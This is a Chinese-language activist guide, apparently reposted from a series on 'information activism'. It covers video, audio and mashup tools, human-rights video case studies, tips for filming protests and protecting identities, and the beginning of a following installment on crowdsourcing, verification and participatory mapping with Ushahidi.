可以让您廉价地使用动态图像的力量来传达您的信息。

Synfig 可以输出到互联网上使用的gif动画，但现在可能更有用的是输

出到视频文件，这样它就可以上传到视频共享网站并嵌入到互联网页面中。

用它来做什么？—— 为您的行动主义信息创建卡通风格的动画。

优点：适用于所有主要操作系统；有很好的教程可用。

缺点：您需要花点时间学习。

培训资料：http://wiki.synfig.org/wiki/Main_Page

6、Audacity

「图」

Audacity 是一款“音频编辑器”，它可以录制声音，如语音或乐器，或从录音机或手机等便携式录音设备导入声音。您可以将这些声音结合起来，并对它们进行编辑，制作纪录片、音乐、播客等。

在不同声音的基础上进行编辑和分层的能力，为您的电脑带来了录音室的力量。 还有许多音频效果，您可以添加到项目中。但 Audacity 并不真正适合专业音乐人更复杂的需求。如果您需要更进一步，那么可以尝试 Ardour（适用于Mac OSX或Linux），这是另一个免费软件程序，适合更高级的使用。

优点：稳定易用，良好的文档和支持

系统：Windows, Mac OSX, Linux

培训材料：https://en.flossmanuals.net/audacity/_full/

备选方案：http://ardour.org/

7、保护安全

「图」

ObscuraCam 是一款安卓应用，它允许您遮挡照片或视频中的面孔或可识别性物体，以保持某些信息的私密性。它允许您将图像的某些区域涂黑或像素化。您也可以反向像素化，这样就只看到人，背景变得模糊。

该应用程序还允许您删除元数据，如GPS位置、手机品牌和型号，以及作者信息。

它是由人权视频组织 Witness 和卫报项目合作开发的。

用来做什么？—— 避免任何图像或视频文件暴露当事人的真实身份。

优点：容易安装和使用

创建视频混音或混搭

「图」

混搭或视频混音是将多个来源的视频、音频或静态图片混合在一起而产生的。

将 “Found footage”（从互联网上获得的素材）与其他图像 *战略性地* 放置在一起，可以通过它们的并置来创造一个新的信息。Mashups 作品通常短小精悍，是成为热门传播的先决条件。以创造性的方式重新利用镜头，让幽默和不敬的态度为一个反抗问题注入新的生命。

案例研究

「图」

来看两个混音版本。 这两段视频都是使用真实的或模仿的旁白制作的，经过编辑后与重大事件的新闻片段叠加在一起。

第一个视频是根据埃及前军方领导人奥马尔·苏莱曼的讲话制作的。这段视频是对一年后奥马尔·苏莱曼宣布总统胡斯尼·穆巴拉克辞职的重新想象。这段话是在那一年发生的残酷镇压的画面上朗诵的，强调了这一年几乎没有任何变化。

第二段视频是对叙利亚总统巴沙尔·阿萨德的妻子阿斯玛（Asma）的采访进行了重新剪辑。阿斯玛·阿萨德在采访中对加沙的杀戮表示愤慨，采访片段与叙利亚霍姆斯市国家认可的暴力袭击画面进行了混合。

两种混合效果都能迅速在社交媒体网站上获得大量关注和转发。

混音也可以用来传达新闻报道以外的信息。利比亚前领导人穆阿迈尔·

卡扎菲在执政的最后几个月里是许多视频混搭的主题，其目的是剥夺其统治的合法性。

收集录像和法律问题

「图」

为所使用的镜头申请版权许可可能既费时又费钱。而 Creative Commons 许可的视频和音频鼓励这种再利用。有一个搜索引擎可以让您搜索CC作品：https://search.creativecommons.org/。也可以使用 https://archive.org/ 找到。

如果CC许可的内容不适合您的需要，您可以匿名发布您的影片。通常情况下，混搭作品会受益于版权法中的 “公平使用” 或 “公平交易” 条款。

实践：创建混搭

「图」

📌 由于混搭的性质，任何存在的规则都是要被打破的。这是一个好主意，玩转现有的惯例，使你的作品更加引人注目。以下是一些惯例。

- 使用器乐音轨作为音频基础，音轨要适合您需要传达的信息；
- 选择一系列的采访，说明您想要表达的观点，并将采访的基调与项目的整体感觉相匹配；
- 抓取流行的片段—— 花絮、新闻报道、幕后花絮 —— 与严肃片段形成鲜明对比。
- 找出与您需要传达的主题相关的背景视频，或作为一种创造性的对比；去掉它的音频，并将其与其他视频穿插在一起。

在下面的混搭中，使用的是免费和开源的视频编辑器 Kdenlive。在视频1和音频1上使用主要叙事的声音片段，在音频2上使用器乐音轨。其他所有的音频和视频都将围绕这个主要结构展开。

先把主要元素的时间安排好，然后开始加入更多的混搭技巧。

把音频和视觉效果结合起来

「图」

有了视觉效果，您也许能找到与您的项目相匹配的音频。使用您的技能来编辑，加快和放慢镜头，操纵它使画面上的人们看起来像在唱歌。选择相关的音频和视频片段，然后点击 “Ungroup Clips”，删除原始视频的音频。

现在您能够只选择原始片段的音频，然后按删除键来清除它。将您的时间线非常仔细地放大，并向前和向后走，看看角色什么时候张嘴和闭口。将音频人声与该动作相匹配。

改变视频剪辑的速度

「图」

加速和减慢镜头也会极大地影响观众对镜头的看法。放慢镜头可以给人一种深思熟虑的感觉，而加快镜头则会让人觉得滑稽或疯狂。

帧中帧

「图」

要活化采访片段，您可以使用帧中帧技术，将 “说话的人” 片段放在不同的背景和效果上。使用 “平移和缩放” 效果来缩小原始素材的大小。

重新编辑已知的媒体视频

「图」

您还可以通过重新创建主流媒体的某些 “外观” 来吸引观众的联想。以新闻频道的静止图像为例。您可以通过导入具有透明度的PNG图像来创建外观相似的标题。

您可以使用GIMP或类似的图像处理程序来创建这些图像。 如果要使渐变看起来更专业，请向其添加渐变。

一些例子

「图」

1、揭露警察的酷刑

「图」

记者 Noha Atef 于2006年创建了 TortureInEgypt.net，号召读者提交照片和视频，记录警察对埃及公民的侵犯人权行为。在某些情况下，这些视频是由警察自己拍摄的。

在她的行动主义项目引起当地媒体关注后，一名被关押了14年的无辜男子获得释放出狱。

2、Bell Bajao 运动：与家庭暴力作斗争

「图」

总部设在孟买的非政府组织 “Breakthrough” 策划了 “Bell Bajao” 运动，以动员男子站出来反对家庭暴力。

在印度电台、电视和报刊上播放了一系列公益广告，展示了目睹家庭暴力并进行干预的男子和男孩。“Bell Bajao” 的意思是 “敲响警钟” ，指的是任何人都可以通过积极主动和引起周围人注意来帮助制止家庭暴力。

3、将酷刑列入总统的地图

「图」

在突尼斯政府封杀视频分享网站后，倡导者们做出了回应，制作了一个互动式的 Google Earth 混搭—— 将人权视频绘制在与总统府相同位置的3D地图上。这也使得人们在被拒绝直接访问YouTube的情况下，仍然可以看到这些视频。倡导者将视频、动画和讲故事结合起来使用。

4、喜剧节目揭露歧视和腐败现象

「图」

“Sheno Ya3ni” (译为“那又怎样”) 是一个来自阿拉伯湾和中东的演员团体，他们制作了一系列在线视频，以揭露和挑战科威特社会和政治制度中的歧视和腐败。他们的前五个视频在公开宣布中取笑政客，当时恰逢2012年2月科威特议会选举，平均观看人数达到40 000人。该团体的YouTube频道目前有300多万次观看。

5、跟踪总统专机

「图」

突尼斯博主协作开展了一个绘图项目，发现总统专机被用于大量的私人旅行。他们的活动始于一位博主 Astrubal 在专门追踪空中交通的网站上发现了突尼斯总统的飞机图片。利用这些数据，Astrubal 将飞机照片与使用谷歌地球制作的视觉化结合起来，显示飞机曾在哪些机场出现过，以及何时出现。该视频在YouTube上传播，引起主流媒体的进一步调查。

- 在这里看到如何跟踪飞机《看灰机：开源情报如何追踪天上的东西？》

6、Targuist Sniper

「图」

Targuist Sniper 是一名倡导者，他拍摄了摩洛哥警察多次向驾车者索贿的行为，并将其发布在YouTube上，被大量浏览。结果，政府不仅对警察采取行动，而且还使用了与 Targuist Sniper 相同的技术。

7、Women’sNet：数字故事

「图」

“数字故事推动变革” 项目记录了那些很少被提及的和难以被听到的故事。这些视频由致力于促进南非性别平等和正义的组织 Women’s Net 制作，让女性通过数字故事分享她们从暴力中幸存下来的个人经历。这种方法允许人们使用动画、照片、音乐和现场视频来讲述第一人称的故事。然后将这些故事分发给人权倡导者、政策制定者、服务和援助工作者。

8、保护的责任：为儿童兵伸张正义

「图」

由 Witness 组织与设在刚果的非营利组织 AJEDI-Ka 合作制作的纪录片讲述了儿童兵的个人故事。片子发行后，国际刑事法院对刚果军队中招募儿童兵的现象提出了指控。

9、性工作者的人权

「图」

亚洲太平洋性工作者网络（APNSW）使用数字视频记录了被关押在柬埔寨所谓“康复”中心的性工作者所报告的虐待条件和侵犯人权行为。 性工作者在获释和逃出后接受采访，讲述了他们被殴打、强奸、被剥夺清洁食物、水和药品的个人故事。 他们将这段视频发布在YouTube和 blip.tv 上，并在金边的500名性工作者行动日上播放。

10、ZA新闻：人偶与政治家对决

「图」

ZA新闻是一个讽刺性的网络电视节目，嘲笑南非的政客和时事。2009年首次播出，其形式是一档新闻节目，看起来和听起来都非常像官方媒体南非广播公司（SABC）。委托试播后，SABC拒绝播出。之后该节目在网上播放，覆盖了南非10%能够上网的人口。

11、Zenga Zenga：卡扎菲的讲话是一首舞曲

「图」

2011年2月，在观看了利比亚前领导人穆阿迈尔·卡扎菲为夺回控制权而发表的长达一小时的演讲后，以色列 DJ Noy Alooshe 迅速采取行动。Alooshe 使用视频软件和 Auto-Tune（一种数字扭曲声音的工具），将卡扎菲的演讲片段与美国说唱歌手 T Pain 和 Pitbull 的热门歌曲 “Hey Baby” 的节奏进行了拼接。24小时内，他就把这段混搭视频上传到了YouTube。仅仅一周后，该视频就被浏览了270万次。

12、IamJan25：记录埃及起义的过程

「图」

Iamjan25 网站收集了示威者在解放广场拍摄的图片和视频，2011年1月25日，数十万埃及人聚集在这里，抗议当时的总统胡斯尼·穆巴拉克政权。该网站收集了大量目击者的记录，从当地人的角度记录了这段重要的历史。该网站包含 7000 多个视频和图片，是同类网站中最大的在线档案。

13、访问加沙：虚拟之旅

「图」

为了直观地反映170万加沙地带居民每天都在遭遇的问题，以色列的一个公民非政府组织 Gisha 创建了一个加沙虚拟之旅。通过包含文字、图像和视频的加沙地带互动地图，观众可以看到限制进入政策如何影响到当地的基础设施和教育以及经济。

关于拍摄技巧，可参见我们早前的介绍《拍摄取证 2：详述步骤和具体技巧》。

📌 请注意：以上都是一些曾经的著名案例，也是在各自当时比较成功的项目，但是，您不能简单地模仿他们，您必需根据您本地的文化地形、以您所倡导的具体目标为中心，沿着您自己的信息行动主义战略路径制定战术。

一些提示

「图」

1、关于照片的简要提示

「图」

要有选择地拍摄。与其拍十张很相似的照片，不如拍两张精心构图的照片，让它们体现最好的效果。

在按下快门之前，要清楚自己想要拍摄的内容：不要盲目或漫无目的地拍摄。

试着用这样的方式来拍摄，以便在一张图片中囊括一个故事。通常情况下，这意味着要捕捉行动中的人，或互动，但如果操作得当，强烈的情感也可以通过一张人像来传达。

改变您捕捉主体的视角，不要总是从外向内拍摄。

要知道，人们并不总是愿意被拍摄。与拍摄对象建立信任和熟悉是摄影师工作的重要组成部分。一定要尊重您的拍摄对象和环境。

将照片转移到电脑后，仔细查看，删除模糊或无法使用的照片，并将

照片组进行整理或标记，方便日后参考。

将重要的照片至少存放在两个不同的地方，作为备份。

要注意您在照片上留下的元数据，任何人都能够读取这些信息。当处理敏感话题时，一定要在将照片发布到网上之前清理掉任何元数据。具体操作方法见这里《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》。

2、规划网站的提示

「图」

想一想您的内容会是什么格式。您想要简洁的信息吗？还是更长、更深入的文章？文章是否会经常更新？想清楚这一点将有助于您开发设计和选择适合您网站的模块。

内容最重要。再多的小部件也无法弥补不充分或编辑不当的内容。

尽早购买您的域名。使用WHOIS的查询服务来确定哪些域名仍然可用。

在您开始建设之前，确保您的网站的组织结构已经规划好了。从用户的角度考虑：内容是否容易找到？互联网用户的注意力是短暂的，浪费在寻找内容上的时间可能导致人们过快地离开您的网站。

有多少用户会主动使用这个网站？您有多少贡献者、编辑和管理员？了解不同合作者需要什么样的访问权限，并相应地分配权限。

3、印刷媒体提示

「图」

在撰写文本时要考虑到您的分发格式。对于海报或抗议标志，原则是；少即是多。您需要一个有冲击力的标语和最重要的信息，用大字体以提高可见度。对于人们更愿意携带或阅读的讲义或传单，则以较长的文字为宜。

集中您的信息，并将信息精简到本质上。吸引眼球的图像、图形和排版都很重要，但如果信息不集中，就无法让人记忆深刻。

始终校对您的文本。印刷品是一种物理媒介，不像网络媒体那样对错误或错字那么宽容。如果您要印刷大量的材料，请仔细校对您的文本!考虑把它交给队友，让他们用新的眼光来审视。

选择图片时要考虑印刷质量。如果您的图片是彩色的，而您要印刷的是黑白的，一定要把图片转换成黑白的，以确保图片在去掉颜色后仍能保持其想要的效果。还要确保您的印刷质量足够高，以保持黑白图像的色调对比。

在设计海报时，要将形式与内容结合起来，思考信息的流动和眼睛在其中划过的路径。最重要的一块内容应该是最大的，其颜色和字体应该足够吸引眼球。目光会从上到下经过内容，在大多数语言中，眼睛会从左到右；在阿拉伯语中，眼睛会从右到左；在某些情况下，如在日语中，眼睛从右到左和从左到右都有可能。

不要总是相信屏幕。在制作最终的印刷品之前，一定要试印一份样张。这将使您能够检测到色彩和分辨率的变化，而这些变化不一定能在电脑显示器上看出来，即使是非常好的显示器。您可能需要调整亮度、对比度或颜色，也许图像在屏幕上看起来“不合适”，但在印刷时却是合适的。

印刷品的图像应至少达到**600dpi**。网络图像在屏幕上72dpi时看起来还算合格，但以更高的分辨率打印时就会显得像素化。对于印刷来说，低分辨率的图像很少能满足印刷的需要，高分辨率的图像是必须的。越高越好。另一方面，让您的网页图像在较低的分辨率下也不是一件坏事，它可以降低其文件大小，并使您的网站加载速度更快。

4、选择格式的提示

「图」

在决定选择哪种形式时，要考虑您的目标、能力和受众。您是想让人们对某一问题迅速采取行动，还是您有一个本身就有意义且不会很快过时的信息？简单的信息可以采用较小的一次性格式，如海报、贴纸和T恤，或者是小册子或传单，其中可以包括一个链接到您的网站上，以帮助受众跟随更频繁的更新。海报或贴纸可以由志愿者张贴，传单可以在示威活动中分发。

如果您想通过让人们深入了解您的事业所涉及的问题来长期吸引他们，或者如果您的信息一直在变化，并且与其他发展相关，那么最好的办法是发行通讯或杂志。

为了突出某个特定的主题，您可以发行一次性的出版物，如简报或公报 —— 但不要告诉您的听众它将成为一个系列的一部分，除非您致力于制作更多的内容。

一个较长的文本可能需要作为报告甚至作为一本书出版。如果您的预算较少，它可以成为电子书供下载，在这里看到制作电子书的方法。记住，任何在线出版的东西都可以更便宜、更容易地更新。

使用各种格式的组合是在短期和长期内达到所有目标和受众的最佳方式。

5、编辑提示

「图」

通读 —— 在进行任何修改之前，一定要通读整份文件。

尊重贡献者 —— 无论您的组织是为了强调特定的目标而进行大量的编辑，还是为了支持作者的声音而进行简要编辑。

提问题 —— 对任何修改都要有一个可靠的理由。当您不确定某件事情的含义时，要提出问题。

一致性—— 使用您的风格指南和常识来实现整体的一致性。

谦虚—— 节省时间并尊重他人，只修改为实现目标而必须修改的内容。

事实检查—— 谁对您发布的事实信息负责？您的签收程序是什么？信息是否准确和最新？留出时间进行核对。

清晰度和可读性 —— 将长段和长句子打散。使用主动语态而不是被动语态。避免使用行话。

内容 —— 是否包含了读者需要的所有信息？

紧缩和削减—— 消除多余的词语、过多的形容词和分散注意力的细节。修正含糊不清的语言和重复的内容。删去最不重要的信息，但保存原先的版本，以备您需要回溯和检索任何内容。

6、关于协作的提示

「图」

口碑是寻找有能力的合作伙伴的最佳途径。请您的朋友或同事推荐。您也可以从您喜欢的近期工作的例子开始，或者与您想要的东西类似的例子开始，询问是谁创作的，这样您已经对他们的能力和实力有了一个了解。

在一开始就清楚地概述项目的范围和时间表，对于远程协作，这一点尤为重要。确保您还指定了作品的使用权和所有权，以及这些权利的期限。一些创意设计工作，如插图，将需要额外的费用，这取决于作品的发行格式和制作的数量。

尽及时并经常给予反馈。尽量安排一个工作计划，定期检查和接受反馈。还要记住，您往往不是唯一的合作者—— 询问您的合作对象的工作量，并考虑这将如何影响您的项目时间表。

一些资源

「图」

Witness 提供了很多视频制作技巧的资源。以下是7个部分的简述。

1、拍摄抗议和警察虐待

「图」

做好准备——

各国关于公民拍摄当局行为的法律各不相同。在您打开摄像机之前要了解您的权利。制定一个安全计划，以保护您的安全。记住紧急联系信息，或将其写在安全的地方。使用相机带或将相机绑在手腕上，以避免很容易被抢走。了解您的设备，不要携带借来的不够熟悉的设备进入危险的区域拍摄。如果您不能带着设备跑起来，就不要带它。

开机——

带上额外的充电电池和空的存储卡。如果使用智能手机拍摄，请关闭应用程序定位和wifi，并降低设备的屏幕亮度，以延长电池寿命。

自行录制——

对着摄像机说话，以确认您是拍摄者。或者，保留一份书面记录和原始视频文件。如果您出于安全考虑需要匿名，请使用一个代号。

验证——

如果您捕捉到拍摄这一镜头的日期、时间和位置，您的媒体内容更容易验证。如果可能的话，开启自动日期、时间和GPS位置捕捉功能。或者，拍摄当天的报纸、十字路口、路标和地标。

稳定拍摄——

保持拍摄至少10秒。保持相机稳定，改变位置时要非常缓慢地移动相机。避免剧烈运动和变焦。

不同角度——

通过广角和中景拍摄，使事件的背景更加清晰。使用特写镜头来捕捉细节。使用各种角度和仰角来捕捉人群的规模和行为。捕捉当局的存在和形成的镜头。如果要隐去身份，就从后面拍摄人群，只记录人们的后脑勺或脚。

捕捉细节——

在安全的情况下，记录逮捕或暴力事件的细节，拍摄参与人员的身份、周围的人群、受伤、弹孔或附近的车辆。在拍摄过程中，通过叙述事件的来龙去脉来记录细节。

拍摄机构——

在可能的情况下，拍摄或记录自己说出警员的姓名和警徽/警号。记录警察的一般行为，如警察接到的命令，或设置或移动路障。记录正在拍摄抗议活动的警察，以及当局持有或使用的任何武器。在这里看到镇压武器的详细介绍《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》。

进行采访——

通过采访同意的抗议者或目击者提供更多细节。确保您拍摄的人完全了解视频的使用方式和发布地点。如果视频要公开、在线或与当局分享，要讨论潜在的安全风险。如果需要匿名，可以在受访者说话时拍下他们的手，让受访者用围巾包住脸，或者调整焦点以模糊画面。

团队合作——

让亲密团队的伙伴帮忙保护您的安全，并观察记录重要情况。如果您的队友也有相机，尽量从不同角度拍摄同一事件。尽量让您的队友和您在彼此的视野中。如果您有被捕的风险，又想继续拍摄，可以考虑把存储卡交给队友保管，然后换成空卡。

2、如何更好的使用单反相机

「图」

3、如何保存您的视频

「图」

倡导活动可能需要时间才能取得成果，因此，您的视频在拍摄后仍然可以长期使用这点是很重要的。此外，保持完整和真实的视频更值得信赖，在人权报告或法庭等情况下更可用。从长远来看，视频文件可以作为暴政和推翻暴政的过程的宝贵视觉历史记录。

下面三段视频将帮助您开始工作。

4、视频制作的基础知识

「图」

以下是17个简短的视频，讲解了视频制作的基础知识，可帮助您创建推动变革的视频。

5、在人权报告和倡导活动中使用视频的道德准则

「图」

准则涵盖了人权文件的原则，讨论了如何利用这些原则来评估在网上分享虐待视频所涉及的各种风险，并提供了尽量减少这些风险的方法。准则涉及以下主题：

- 考虑到拍摄者的同意、目标受众以及个人和社区的安全、尊严和隐私；
- 在没有明确的知情同意指标的情况下，如何对使用录像是否会

侵犯被拍摄者的同意、隐私或尊严作出专业判断，并权衡预期的社会利益和潜在的风险；
- 尽可能在揭露虐待行为的同时减少伤害。报告虐待行为，但不分享录像，也不暴露出现在录像中的人的身份；
- 设立关于拍摄者意图的问题清单，以评估分享录像所涉及的风险；
- 向观众提及视频来源的三个理由 —— 对内容创作者的责任，对观众的透明度，以及追踪监管链；
- 保护高危摄制者的安全或保持其匿名性的方法。
- 图片素材：评估何时适合分享图片素材的问题清单。

这份准则贯穿了世界各地的例子，说明了各种道德困境，以及活动家、新闻机构和人权组织解决这些困境的方法。

在这里下载这份准则。

6、如何拍摄抗议活动

「图」

下面5个视频介绍如何拍摄抗议活动。

7、用手机拍摄

「图」

就是这样。下一集中我们将介绍众包的信息行动主义项目方式，是的就像wiki，但不完全是为了完成一个项目而邀请更多人合作，信息行动主义不论采取那种工具，都是为基本战略服务的。下次见。〇

—— 未完待续 ——

原文

信息只是战术，有效行动才是战略目标：信息行动主义（9）- 专注于要解决的问题是成功关键 - iyouport

信息行动主义

“今天最重要的挑战不是技术 —— 你需要一个有责任心的团队，（他们）能够客观地、受社区信任地去做这项验证工作”

欢迎回来！

如果您错过了前面的部分，可以在这里回顾：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》
- 《让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧》
- 《拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱》
- 《从游戏中获得团队协作能力：信息行动主义指南（6）- 练习战略路径》
- 《为行动而计划：信息行动主义（7）- 探索战术思想》
- 《挑战当权者的叙事：信息行动主义（8）- 讲述故事是一件武器》

Harassmap 由 Rebecca Chiao 于2010年创立，是埃及打击性别暴力运动的技术组成部分。 它是一个互动地图，为女性和其他遭受性骚扰的受害者提供了一个举报开罗街头骚扰事件的媒介。

人们可以使用一些方法收集信息，通过短信、电子邮件或在线表格提交报告。然后，这些报告会被放到一张在线地图上，使整个系统成为

一个行动动员、预防和应对的工具，突出问题的严重性和普遍性。自那时以来，其他国家也出现了很多类似的举措，如叙利亚的“被围困的妇女”项目。

收集记录警察暴力事件的 mapping police violence 就是这样的信息行动主义项目，非常著名。

众包

「图」

📌 众包是一种将任务委托给一群人或促进一群彼此间没有联系的人之间的合作的方式。它可以发生在线上或线下，通常依赖于公众的贡献，也许是在您通常的盟友网络之外的人。

维基百科和维基社区就是最好的例子。众包作为一个集体募资平台（如 Kickstarter，Indiegogo）、或作为收集社区投票的工具也很受欢迎。

在这里看到具体介绍《活动家团队如何建立自己的维基站点？》。

为什么要使用它？

「图」

不断扩大的社交媒体网络和更充分覆盖的互联网连接使众包成为数字活动的一个流行和方便的工具。它允许您通过增加贡献和传播信息的声音数量来扩大您的倡导动员。志愿服务或必需花费时间或金钱的工作，因为有大量的人参与分担负担，而变得更加容易管理。

它还可以通过集体讲述故事来创造一种认同感，从而赋予您的社区权力和勇气。（参见本系列前面一集内容）

对于组织来说，众包信息意味着现在更容易获得以前由于缺乏资源而无法获得或无法实现的数据分析。它还可以作为您的行动主义的宣传工具，同时邀请您的社区参与。

核查的陷阱

「图」

在您的行动中使用众包信息的最大挑战是验证问题：您如何确定提交的信息是值得信赖的？

虽然这个问题没有一套适应于一切的解决方案，但有一些方法可以减轻虚假信息或无法使用的报告的可能性。简而言之，最可靠的报告是那些通过不同类型的渠道收集的、经多个来源确认的、有照片或视频文件支持的、或经当地可信来源证实的报告。

就如您在《安全文化》中学到的那样，信任分级，是很有帮助的；在这里的用法也一样：确定不同层级的提交者，并为每个提交者指定一个信任度，这个分级只有主要管理者了解。对于信任的社区成员，如果他们有良好的声誉，并且长期提供可靠的信息，在这个等级上的评分会更高，而陌生人的评分会更低。您甚至可以将招募参与者的工作指定给某些受信任的社区成员，然后由他们负责核实报告的正确性。相互激励的制度保证了报告更加可靠。

即使是不可靠的报告，在某些情况下，只要明确标注为“未经核实”，也可以使用。但是，如果报告可能会诋毁他人的名誉，则最好始终对报告进行核实。即使如此，也要对所有可能被用于识别任何一方的细节进行匿名处理。

更多关于核实方法的相关信息，可参阅我们的列表-3“让它民主”，和“公民调查指南”中的相关部分。

如何将其用于您的行动主义？

「图」

众包不同于外包，因为它是一种公开的呼吁和召集，而不是对特定群体的呼吁。任何众包活动都是基于一个“反馈循环”，在这个循环中，一个持续的收集、验证和行动的循环保证了项目的可持续性。这个循环的基本步骤是：

收集信息 —— 明确确定您要收集的信息种类。建立一个能让目标社区最大程度参与的平台（方便好用、而且足够符合您的安全需求）。在一系列媒体上进行传播，包括线上和线下。 通过为社区成员提供激励措施，鼓励他们提交可靠的信息。

验证信息 —— 收集到的信息必须根据您的团队和项目所定义的标准进行验证。您制定的验证标准需要足够科学和专业，我们曾经提供过的信息验证技巧都是最基本的，您应该用得到。

行动和结果 —— 在一个框架内组织和发布信息，以激励那些有权力、资源或责任的人对提交的报告采取行动。这是最重要的，因为我们在这里讲述的信息行动主义，而不仅仅是信息，信息必需服务于行动主义战略。继续分享信息，使其不断流传下去，以鼓励更多的贡献。

集体讲故事

「图」

利用众包技术从社区收集个人故事，不仅可以有效地记录一个问题并将其建立在真实经验的基础之上，而且还可以加强和界定一个围绕该问题的社区。

“阿拉伯世界女性起义” 博客是一个英语-阿拉伯语双语网站，将个人故事与参与性行动相结合。鼓励博主通过个人博客文章讲述自己的故事，或通过集体摄影活动表达自己的声援。许多帖子涉及性别角色问题或性骚扰事件。参与者团结在一个共同的事业周围，并能够通过揭露自己社区中这些事件的普遍性来增强自己的能力。

像 Book Sprints 这样有时间限制的环境也能激发集体创作的热情。Book Sprints 的目标是在5天内从零开始制作一本书。组织者和撰稿人在如此短的时间内出版一本书所需的团队建设和紧密合作的推动下，积极共享知识和资源。

下面是中国公民组织近期的活动：

参与式制图

「图」

交互式制图平台(其中最著名的是 Ushahidi) 可以为您的众包报告提供了宝贵的地理维度，它不仅可以澄清原始数据和发现问题，而且还可以作为实地工作人员的重要资源，特别是在危机情况下。为监测肯尼亚选举而建立的系统 Uchaguzi 和犯罪报告及其他信息的汇总器 Syria Tracker 都是有效利用基于 Ushahidi 的参与式制图平台的好例子。

不过，在部署参与式测绘项目之前，您应考虑到几个实际问题：

——以这种方式绘制和跟踪信息是否有明确的好处？能否充分利用了

现有资源或指标？

——您将如何收集信息？您所在社区的人们在哪里、如何使用技术，他们的习惯是什么？谁来收集报告？是公众，还是一群受过训练的人？

—— 收集有关这个问题的信息有什么风险？信息公布后将如何处理或展示？

——后续行动将是怎样的？您的行动组织将如何针对提交的报告采取行动，以及如何衡量项目的成效？

关于 Uchaguzi

「图」

Ushahidi 是一个高度灵活的信息收集、可视化和互动绘图平台。

它最初是为了绘制2008年肯尼亚选举期间的暴力事件地图而开发的。现在，Ushahidi（在斯瓦希里语中意为“证词”）被广泛用于许多不同的场景，包括应急管理和公民媒体。

Ushahidi 有几个可供选择的版本，彼此之间略有不同。标准版本允许更多的定制，意味着您可以完全控制您的数据—— 但它确实需要一个服务器。SwiftRiver 可以过滤和验证来自SMS、Email、Twitter和RSS提要等渠道的实时数据。Crowdmap 是使用最简单的工具：开发者称它可以在短短两分钟内启动并运行。Crowdmap 是 Ushahidi 的托管版本，基于云，可通过网络浏览器使用。

用它来做什么 ——

- 通过各自渠道提交或收集报告
- 在可以在网站上看到的动态地图上绘制报告

优点 ——

- 高度灵活
- 庞大的支持社区和许多成功的部署

缺点 ——

Ushahidi 和 SwiftRiver 都需要专用服务器和一些技术技能

摩洛哥的众包公民反腐

「图」

Mamdawrinch 是一个互动网站，旨在鼓励公民参与摩洛哥的反腐斗争。它使摩洛哥人能够以自己选择的语言—— 摩洛哥方言、阿拉伯语或法语—— 匿名举报腐败行为、提出申诉和分享信息。

摩洛哥透明国际董事会成员 Tarik Nesh-Nash 在建立这个平台方面发挥了重要作用，这是该国第一个此类平台。用户提供的信息可以是视频、照片、文件或书面形式，包括腐败行为发生的地点和部门的详细信息。然后，这些信息会被公布在网站、地图上，并通过社交媒体渠道发布。

Nesh-Nash 说，这个过程并不是指责，而是对政权创造一种间接的压力工具。“我们没有办法验证用户的真实性，以及那里的所有信息……为了避免诽谤案件，我们将其匿名化。我们删除了所有的名字，那些名字会给爆料人及中间人带来麻烦。”

该工具还得到了一个综合的反腐败法律宣传中心（ALAC）的支持，该中心协助有最大案件的人寻求法律援助，有可能将问题诉诸法庭。

但该项目仍然面临着很大的挑战—— 用户之间的技术知识水平参差不齐，一些地区缺乏可靠的互联网连接，以及在线参与率低。但 Nesh-Nash 有信心，该网站只要有一点人力支持，就能解决其中的一些问题。“今天最重要的挑战不是技术—— 你需要一个有责任心的团队，（他们）能够客观地、受社区信任地去做这项验证工作”，他说。

“这个项目的目的并不是要进行指责，而是举例说明某些部门的腐败现象。我们希望在网上展开辩论，看看我们如何解决这个问题”。

提示🌤

「图」

📌 绘制互动地图的举措需要认真规划和战略性预想。构思不周或部署过于仓促的平台往往会导致所谓的 “死地图”：由于缺乏数据或明确的目标而无法启动的地图。

Dead Ushahidi Project 是一个单独的项目，它对一些失败的地图项目

进行了编目，并且可以成为一个有用的资源，用来参考在您的信息行动主义中实施地图元素时 *不应该做什么*。还有一些道德问题需要考虑，特别是围绕着知情同意的问题，以及在没有适当的社区数据的情况下将问题非人性化的风险。

道德考虑

「图」

1）展示创新

「图」

数字制图真的是关于社区的吗？还是说我们真的只是把社区作为一个背景，来展示我们自己的创新和酷、或者是我们捐助者的创新和酷？您必需保证您的所有项目都在支持您的社区和相应的信息行动主义战略，我们没有时间和精力浪费在表演上。

mapping police violence 作为一个成功的案例，它的目的不仅仅是问责，它为有色人种社区的反抗行动提供证据、批驳极右翼对反抗运动的污蔑，它具有明确的行动主义战略意义，而不是炫技。

2）能否做到过程和产品两不误？

「图」

地图不应该是一个 “进出工具”，而应该是一个更广泛的项目的一部分。外部合作方应该支持社区表达并成为完全的合作伙伴，让他们说出、做出和理解他们想用地图做什么。

如果考虑到地图绘制的过程与最终产品同样重要或更重要，那么数字地图可能并不比手绘地图更好。手绘地图可以让人们在画图时进行重要的讨论。在技术性较强的数字地图绘制过程中，这种情况似乎要少得多，而当外部人员进行绘制时，这种情况就更少了。

一张手绘地图可以通过物体的大小、颜色、位置或边界被赋予意义。当手绘地图被数字地图取代时，重要的意义可能会被忽略。

然而，正如一些人所指出的那样，数字地图可以打印出来，并通过评论和绘制进一步增强，并在社区中进行讨论。而且数字地图可以给社区成员带来一种专业感，帮助他们向当局和决策者提出更有力的理

由。

3）花费时间方面的道德问题

「图」

社区摸底是很困难的。外部代理的目标应该是培训当地人，使他们能够成为这个过程的主人，并长期维持下去。这需要时间。

然而，通常情况下，测绘专家会被空运过来一两个星期以培训社区成员。他们给人们留下了一些知识，但还不足以完全管理绘图过程和工具。如果人们最终只接受了一半的培训，而且在当地又没有继续培训的选择，那么他们的时间基本上就等于被浪费了。

此外，如果年轻人将培训视为通往高需求性技能的途径，但却只接受了部分培训，而且无法获得工具和设备，他们也会觉得自己的时间被浪费了。

所以，在开始时间您需要有一个尽可能现实的计划能维持您的项目的持续性，以目标为中心制定战略。

4）数据提取

「图」

当各机构、学者和测绘人员带着他们的剪贴板或全球定位系统装置，对同样的人群反复进行同样的调查和研究时，人们的时间也被浪费了。

